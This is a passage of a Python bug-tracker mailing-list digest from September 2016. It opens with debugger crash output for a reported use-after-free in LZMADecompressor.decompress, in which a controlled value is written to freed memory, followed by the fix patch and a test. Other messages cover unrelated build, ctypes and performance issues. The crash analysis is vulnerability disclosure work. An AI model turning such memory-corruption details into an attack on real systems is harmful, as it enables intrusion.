009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
009ef434 5d573383 _lzma_d!decompress+0x130 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997]
009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 [c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097]
009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 [c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99]
009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 [c:\source2\python-3.5.2\objects\methodobject.c @ 98]
009ef4fc 55f6008d python35_d!call_function+0x3e9 [c:\source2\python-3.5.2\python\ceval.c @ 4705]
009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d [c:\source2\python-3.5.2\python\ceval.c @ 3238]
009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d [c:\source2\python-3.5.2\python\ceval.c @ 4018]
009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d [c:\source2\python-3.5.2\python\ceval.c @ 4039]
009ef63c 55fe67de python35_d!PyEval_EvalCode+0x21 [c:\source2\python-3.5.2\python\ceval.c @ 777]
009ef660 55fe2daa python35_d!run_mod+0x3e [c:\source2\python-3.5.2\python\pythonrun.c @ 976]
009ef69c 55fe3dac python35_d!PyRun_FileExFlags+0x9a [c:\source2\python-3.5.2\python\pythonrun.c @ 929]
009ef730 55fe2c5b python35_d!PyRun_SimpleFileExFlags+0x3ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396]
009ef74c 55d39e6d python35_d!PyRun_AnyFileExFlags+0x6b [c:\source2\python-3.5.2\python\pythonrun.c @ 80]
009ef7a0 55d38821 python35_d!run_file+0x13d [c:\source2\python-3.5.2\modules\main.c @ 318]
009ef908 1c841331 python35_d!Py_Main+0xf01 [c:\source2\python-3.5.2\modules\main.c @ 768]
009ef918 1c84178e python_d!wmain+0x11 [c:\source2\python-3.5.2\programs\python.c @ 14]
009ef92c 1c8415da python_d!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89]
009ef984 1c84146d python_d!__scrt_common_main_seh+0x15a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264]
009ef98c 1c8417a8 python_d!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 309]
009ef994 742438f4 python_d!wmainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17]
009ef9a8 77545de3 KERNEL32!BaseThreadInitThunk+0x24
009ef9f0 77545dae ntdll!__RtlUserThreadStart+0x2f
009efa00 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !heap -p -a edi
    address 09275fe8 found in
    _DPH_HEAP_ROOT @ 53a1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    9182d68:          9275000             2000
    5c949cd2 verifier!AVrfDebugPageHeapFree+0x000000c2
    775be045 ntdll!RtlDebugFreeHeap+0x0000003c
    7751cc3e ntdll!RtlpFreeHeap+0x00000c3e
    7751b4c8 ntdll!RtlFreeHeap+0x00000268
    591067a7 ucrtbased!free_base+0x00000027
    5910394b ucrtbased!calloc_base+0x00000b5b
    5910617c ucrtbased!free_dbg+0x0000007c
    59106750 ucrtbased!free+0x00000010
    55e781bd python35_d!_PyMem_RawFree+0x0000000d [c:\source2\python-3.5.2\objects\obmalloc.c @ 90]
    55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892]
    55e78434 python35_d!PyMem_RawFree+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 316]
    55e77ad1 python35_d!_PyObject_Free+0x00000591 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1618]
    55e77f32 python35_d!_PyMem_DebugFree+0x00000072 [c:\source2\python-3.5.2\objects\obmalloc.c @ 1892]
    55e78724 python35_d!PyObject_Free+0x00000014 [c:\source2\python-3.5.2\objects\obmalloc.c @ 410]
    55e02005 python35_d!bytes_dealloc+0x00000015 [c:\source2\python-3.5.2\objects\bytesobject.c @ 956]
    55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786]
    55e922f7 python35_d!tupledealloc+0x000000c7 [c:\source2\python-3.5.2\objects\tupleobject.c @ 236]
    55e75f73 python35_d!_Py_Dealloc+0x00000023 [c:\source2\python-3.5.2\objects\object.c @ 1786]
    55f651a9 python35_d!call_function+0x000003f9 [c:\source2\python-3.5.2\python\ceval.c @ 4707]
    55f6008d python35_d!PyEval_EvalFrameEx+0x0000509d [c:\source2\python-3.5.2\python\ceval.c @ 3238]
    55f6478d python35_d!_PyEval_EvalCodeWithName+0x0000073d [c:\source2\python-3.5.2\python\ceval.c @ 4018]
    55f5afbd python35_d!PyEval_EvalCodeEx+0x0000002d [c:\source2\python-3.5.2\python\ceval.c @ 4039]
    55f5af81 python35_d!PyEval_EvalCode+0x00000021 [c:\source2\python-3.5.2\python\ceval.c @ 777]
    55fe67de python35_d!run_mod+0x0000003e [c:\source2\python-3.5.2\python\pythonrun.c @ 976]
    55fe2daa python35_d!PyRun_FileExFlags+0x0000009a [c:\source2\python-3.5.2\python\pythonrun.c @ 929]
    55fe3dac python35_d!PyRun_SimpleFileExFlags+0x000003ec [c:\source2\python-3.5.2\python\pythonrun.c @ 396]
    55fe2c5b python35_d!PyRun_AnyFileExFlags+0x0000006b [c:\source2\python-3.5.2\python\pythonrun.c @ 80]
    55d39e6d python35_d!run_file+0x0000013d [c:\source2\python-3.5.2\modules\main.c @ 318]
    55d38821 python35_d!Py_Main+0x00000f01 [c:\source2\python-3.5.2\modules\main.c @ 768]
    1c841331 python_d!wmain+0x00000011 [c:\source2\python-3.5.2\programs\python.c @ 14]
    1c84178e python_d!invoke_main+0x0000001e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 89]
    1c8415da python_d!__scrt_common_main_seh+0x0000015a [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 264]

 
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
6bf55149 8917            mov     dword ptr [edi],edx

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6bf55149 (VCRUNTIME140D!TrailingDownVec+0x000001f9)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 09275fe8
Attempt to write to address 09275fe8

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=0000000a ebx=009ef540 ecx=00000002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917            mov     dword ptr [edi],edx  ds:002b:09275fe8=????????

FAULTING_THREAD:  000043fc

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

PROCESS_NAME:  python_d.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  09275fe8

WRITE_ADDRESS:  09275fe8 

FOLLOWUP_IP: 
VCRUNTIME140D!TrailingDownVec+1f9 [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
6bf55149 8917            mov     dword ptr [edi],edx

NTGLOBALFLAG:  2000000

APPLICATION_VERIFIER_FLAGS:  0

APP:  python_d.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 5d573f80 to 6bf55149

STACK_TEXT:  
009ef3e4 5d573f80 09275fe8 08b44970 0000000a VCRUNTIME140D!TrailingDownVec+0x1f9
009ef434 5d573383 060e9f40 08b44970 0000000a _lzma_d!decompress+0x130
009ef454 5d572049 060e9f40 009ef468 ffffffff _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93
009ef49c 55e6dd40 060e9f40 079cec40 00000000 _lzma_d!_lzma_LZMADecompressor_decompress+0x79
009ef4d4 55f65199 08b53db8 079cec40 00000000 python35_d!PyCFunction_Call+0x80
009ef4fc 55f6008d 009ef540 079cec40 06143c78 python35_d!call_function+0x3e9
009ef58c 55f6478d 06143c78 00000000 1c84114f python35_d!PyEval_EvalFrameEx+0x509d
009ef5cc 55f5afbd 079eae60 06143c78 06171978 python35_d!_PyEval_EvalCodeWithName+0x73d
009ef608 55f5af81 079eae60 06171978 06171978 python35_d!PyEval_EvalCodeEx+0x2d
009ef63c 55fe67de 079eae60 06171978 06171978 python35_d!PyEval_EvalCode+0x21
009ef660 55fe2daa 08db1470 08b4b168 06171978 python35_d!run_mod+0x3e
009ef69c 55fe3dac 06e40fc0 079f30e0 00000101 python35_d!PyRun_FileExFlags+0x9a
009ef730 55fe2c5b 06e40fc0 079f30e0 00000001 python35_d!PyRun_SimpleFileExFlags+0x3ec
009ef74c 55d39e6d 06e40fc0 079f30e0 00000001 python35_d!PyRun_AnyFileExFlags+0x6b
009ef7a0 55d38821 06e40fc0 06012fa6 009ef85c python35_d!run_file+0x13d
009ef908 1c841331 00000002 06012f80 009ef92c python35_d!Py_Main+0xf01
009ef918 1c84178e 00000002 06012f80 0601af40 python_d!wmain+0x11
009ef92c 1c8415da 851961c5 1c84114f 1c84114f python_d!invoke_main+0x1e
009ef984 1c84146d 009ef994 1c8417a8 009ef9a8 python_d!__scrt_common_main_seh+0x15a
009ef98c 1c8417a8 009ef9a8 742438f4 006cd000 python_d!__scrt_common_main+0xd
009ef994 742438f4 006cd000 742438d0 939c497b python_d!wmainCRTStartup+0x8
009ef9a8 77545de3 006cd000 5080bb84 00000000 KERNEL32!BaseThreadInitThunk+0x24
009ef9f0 77545dae ffffffff 7756b7d7 00000000 ntdll!__RtlUserThreadStart+0x2f
009efa00 00000000 1c84114f 006cd000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  658

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  vcruntime140d!TrailingDownVec+1f9

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: VCRUNTIME140D

IMAGE_NAME:  VCRUNTIME140D.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  558ce3d5

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_VCRUNTIME140D.dll!TrailingDownVec

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ_vcruntime140d!TrailingDownVec+1f9

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_c0000005_vcruntime140d.dll!trailingdownvec

FAILURE_ID_HASH:  {935a9c66-b210-2678-8c10-c746a999bfb6}

Followup: MachineOwner
---------

----------
components: Library (Lib)
files: _lzmamodule_uaf_fix.patch
keywords: patch
messages: 277402
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: LZMADecompressor.decompress Use After Free
type: security
versions: Python 3.5
Added file: http://bugs.python.org/file44827/_lzmamodule_uaf_fix.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:34:24 2016
From: report at bugs.python.org (John Leitch)
Date: Mon, 26 Sep 2016 04:34:24 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474864464.36.0.624821083119.issue28275@psf.upfronthosting.co.za>


Changes by John Leitch <john at autosectools.com>:


Added file: http://bugs.python.org/file44828/Py35_LZMADecompressor.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:35:57 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Mon, 26 Sep 2016 04:35:57 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474864557.46.0.999295882289.issue28275@psf.upfronthosting.co.za>


Changes by Alex Gaynor <alex.gaynor at gmail.com>:


----------
keywords: +security_issue

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:42:46 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Mon, 26 Sep 2016 04:42:46 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474864965.99.0.724708638591.issue28275@psf.upfronthosting.co.za>


Changes by Alex Gaynor <alex.gaynor at gmail.com>:


----------
nosy: +nadeem.vawda

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 00:54:34 2016
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 26 Sep 2016 04:54:34 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474865674.35.0.310011117182.issue28207@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I don't have any philosophical opposition to using pkg-config, but it would be nice to avoid making configure/Makefile/setup.py any more complex than they already are.  If you can somehow simplify those files (without breaking anything) by using pkg-config, I'd be all for it :)

Resetting the version to 3.7, this feels like a pretty big change.  If it turns out well, we can consider backporting it later.

----------
components: +Build
stage:  -> needs patch
title: SQLite headers are not searched in custom locations -> Use pkg-config to find dependencies
versions: +Python 3.7 -Python 2.7, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 01:41:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 05:41:32 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474868492.67.0.737552012043.issue28275@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks John. Could you please add a test based on your reproducer?

----------
nosy: +serhiy.storchaka
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 02:24:50 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Mon, 26 Sep 2016 06:24:50 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474871090.07.0.894382905103.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Thanks. I'll give it a try.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 02:27:35 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Mon, 26 Sep 2016 06:27:35 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474871255.65.0.19295220765.issue28207@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 02:34:45 2016
From: report at bugs.python.org (Florin Papa)
Date: Mon, 26 Sep 2016 06:34:45 +0000
Subject: [issue25300] Enable Intel MPX (Memory protection Extensions) feature
In-Reply-To: <1443788737.62.0.174147088714.issue25300@psf.upfronthosting.co.za>
Message-ID: <1474871685.8.0.362453199349.issue25300@psf.upfronthosting.co.za>


Florin Papa added the comment:

Hi Christian,

There is a Skylake buildbot that has MPX capabilities. Please find it here:

http://buildbot.python.org/all/builders/x86-64%20Ubuntu%2015.10%20Skylake%20CPU%203.6

Regards,
Florin

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25300>
_______________________________________

From report at bugs.python.org  Mon Sep 26 04:08:19 2016
From: report at bugs.python.org (John Leitch)
Date: Mon, 26 Sep 2016 08:08:19 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474877299.24.0.247144594369.issue28275@psf.upfronthosting.co.za>


John Leitch added the comment:

Of course. Attached is a new patch that includes test coverage. It crashes on failure as there isn't any reasonable way to monitor for this kind of undefined behavior, but it's better than nothing.

----------
Added file: http://bugs.python.org/file44829/_lzmamodule_uaf_fix-2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 04:12:23 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 26 Sep 2016 08:12:23 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474877543.38.0.687756467766.issue28272@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Thanks for the patch. I'm a bit reluctant to make changes like this unless there's a measurable performance benefit. The extra check in maybe_small_long does have a value in terms of readability and safety with respect to future maintenance, and I'd expect a competent compiler to inline maybe_small_long and elide the extra check (though I haven't looked at the assembly output to check that). So I think we shouldn't change this unless there's a clear benefit to doing so.

----------
assignee:  -> mark.dickinson
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Mon Sep 26 04:25:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 08:25:57 +0000
Subject: [issue28275] LZMADecompressor.decompress Use After Free
In-Reply-To: <1474864416.3.0.139133662072.issue28275@psf.upfronthosting.co.za>
Message-ID: <1474878357.03.0.0866021109351.issue28275@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka
stage: test needed -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28275>
_______________________________________

From report at bugs.python.org  Mon Sep 26 04:57:39 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 Sep 2016 08:57:39 +0000
Subject: [issue28194] Clean up some checks in dict implementation
In-Reply-To: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>
Message-ID: <1474880259.47.0.310165349587.issue28194@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Mon Sep 26 06:19:48 2016
From: report at bugs.python.org (Oren Milman)
Date: Mon, 26 Sep 2016 10:19:48 +0000
Subject: [issue28272] a redundant check in maybe_small_long
In-Reply-To: <1474807129.82.0.382884780028.issue28272@psf.upfronthosting.co.za>
Message-ID: <1474885188.59.0.846476882302.issue28272@psf.upfronthosting.co.za>


Oren Milman added the comment:

I looked at the assembly, and saw maybe_small_long is not inlined, but I agree that other compilers (or future compilers) might introduce some optimization that would elide the check.

Also, as expected (thanks to branch prediction, I guess), a little microbenchmark shows my patch doesn't improve performance:
without my patch:
    python.exe -m perf timeit "122 >> 2"
    ....................
    Median +- std dev: 20.5 ns +- 0.5 ns

    python.exe -m perf timeit "215 << 1"
    ....................
    Median +- std dev: 20.6 ns +- 0.5 ns
with my patch:
    python.exe -m perf timeit "122 >> 2"
    ....................
    Median +- std dev: 20.6 ns +- 0.3 ns

    python.exe -m perf timeit "215 << 1"
    ....................
    Median +- std dev: 20.6 ns +- 0.4 ns

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28272>
_______________________________________

From report at bugs.python.org  Mon Sep 26 06:39:24 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 10:39:24 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2j
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1474886364.48.0.0506353880755.issue28248@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Make that OpenSSL 1.0.2j with fix for CVE-2016-7052

https://www.openssl.org/news/openssl-1.0.2-notes.html

----------
title: Upgrade installers to OpenSSL 1.0.2i -> Upgrade installers to OpenSSL 1.0.2j

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Mon Sep 26 07:04:43 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 11:04:43 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
Message-ID: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>


New submission from Michael Felt:

in Lib/ctypes/test/test_loading.py there is the following test

    def test_find(self):
        for name in ("c", "m"):
            lib = find_library(name)
            if lib:
                cdll.LoadLibrary(lib)
                CDLL(lib)


1. on AIX, the test is "broken" because lib is None for both names because:
a1) find_library is basically broken for AIX (needs ldconfig, gcc, and/or other tools not generally available on AIX (production) servers
a2) "m" will always fail because there is no equivalent to libm.so - AIX libm.a only has static members - none are shared.
2. IMHO - the test is misnamed "test_find" - as None is an acceptable answer - which is why it 'appears' to PASS on AIX

As far as library names to look for I suggest switching "m" to "ssl" - as something that should be everywhere.

And the test should be something more like:

    self.assertEqual(lib not None)

OR is the test actually testing LoadLibrary and CDLL (as well)

Back to my humble opinion: assuming the real test is to test LoadLibrary and CDLL by accepting None as a valid result from find_library - false POSITIVE is the result when find_library() is not working.

----------
messages: 277411
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: test_loading.py - false positive result for "def test_find" when find_library() is not functional or the (shared) library does not exist
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Mon Sep 26 07:04:57 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 11:04:57 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1474887897.64.0.690678536012.issue28276@psf.upfronthosting.co.za>


Changes by Michael Felt <aixtools at gmail.com>:


----------
components: +ctypes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:03:10 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 12:03:10 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
Message-ID: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>


New submission from Michael Felt:

Python-3.6.0.a2 (a2 == 162)

root at x064:[/data/prj/python/python-3.6.0.162]xlc  -DNDEBUG -O -I/opt/include -qmaxmem=-1 -qarch=pwr4 -O3 -I/opt/buildaix/includes -O     -I. -IInclude -I./Include -I/opt/include -I/opt/buildaix/inclu
de   -DPy_BUILD_CORE  -I./Modules/_io -c ./Modules/_io/_iomodule.c -o Modules/_iomodule.o
root at x064:[/data/prj/python/python-3.6.0.162]
** Notice no messges - while:

root at x064:[/data/prj/python/python-3.6.0.177]xlc  -DNDEBUG -O -I/opt/include -qmaxmem=-1 -qarch=pwr4 -O3 -I/opt/buildaix/includes -O     -I. -IInclude -I./Include -I/opt/include ->
"./Modules/_io/_iomodule.h", line 156.2: 1506-766 (S) The universal character name "
" is not in the allowable range for an identifier.
"./Modules/_io/_iomodule.c", line 804.2: 1506-198 (S) #if, #else, #elif, #ifdef, #ifndef block must be ended with #endif.
root at x064:[/data/prj/python/python-3.6.0.177]

Looks to be a simple typo on line 156 - #endif^L is not seen as #endif by XLC.

  +154  #ifdef MS_WINDOWS
  +155  extern char _PyIO_get_console_type(PyObject *);
  +156  #endif^L

Once I remove the "formfeed" character, as is well again.

----------
components: Build
messages: 277412
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: ./Modules/_io/_iomodule.c build failure on AIX (beta1) while (a2) was fine.
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:06:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 12:06:41 +0000
Subject: [issue28207] Use pkg-config to find dependencies
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474891601.51.0.788693746967.issue28207@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Simple implementation idea:

* add a pkg_config option to Extension()
* run subprocess.call(["pkg-config", self.pkg_config, "--exists"])
* if return value is 0, extend self.extra_compile_args with ["pkg-config", self.pkg_config, "--cflags"] and self.extra_link_args with ["pkg-config", self.pkg_config, "--libs"]
* otherwise print a warning

We could split and parse the output to handle -I, -L and -l in a more elegant way.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:09:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 26 Sep 2016 12:09:47 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
In-Reply-To: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>
Message-ID: <20160926120934.17624.24366.56D54701@psf.io>


Roundup Robot added the comment:

New changeset 26c73ee77fbb by Christian Heimes in branch '3.6':
Issue #28277: remove linefeed character from iomodule.h. Patch by Michael Felt
https://hg.python.org/cpython/rev/26c73ee77fbb

New changeset b77bd401f08a by Christian Heimes in branch 'default':
Issue #28277: remove linefeed character from iomodule.h. Patch by Michael Felt
https://hg.python.org/cpython/rev/b77bd401f08a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:11:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 12:11:21 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
In-Reply-To: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>
Message-ID: <1474891881.45.0.611989480128.issue28277@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> commit review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28277>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:45:14 2016
From: report at bugs.python.org (Michael Felt)
Date: Mon, 26 Sep 2016 12:45:14 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1474893914.19.0.794074711951.issue28276@psf.upfronthosting.co.za>


Michael Felt added the comment:

The assert to be added is much more simple:

i.e., self.assertTrue(lib)

And then you get something like:

root at x064:[/data/prj/python/python-3.6.0.177/Lib/ctypes/test]../../../python -m unittest test_loading.py
libc_name is libc.a(shr.o)
sslib is None
F.sss
======================================================================
FAIL: test_find (test_loading.LoaderTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/prj/python/python-3.6.0.177/Lib/ctypes/test/test_loading.py", line 55, in test_find
    self.assertTrue(lib)
AssertionError: None is not true

----------------------------------------------------------------------
Ran 7 tests in 0.126s

FAILED (failures=1, skipped=5)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Mon Sep 26 08:53:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 26 Sep 2016 12:53:31 +0000
Subject: [issue28277] ./Modules/_io/_iomodule.c build failure on AIX (beta1)
 while (a2) was fine.
In-Reply-To: <1474891390.34.0.856416386783.issue28277@psf.upfronthosting.co.za>
Message-ID: <1474894411.3.0.844713154847.issue28277@psf.upfronthosting.co.za>


Christian Heimes added the comment:

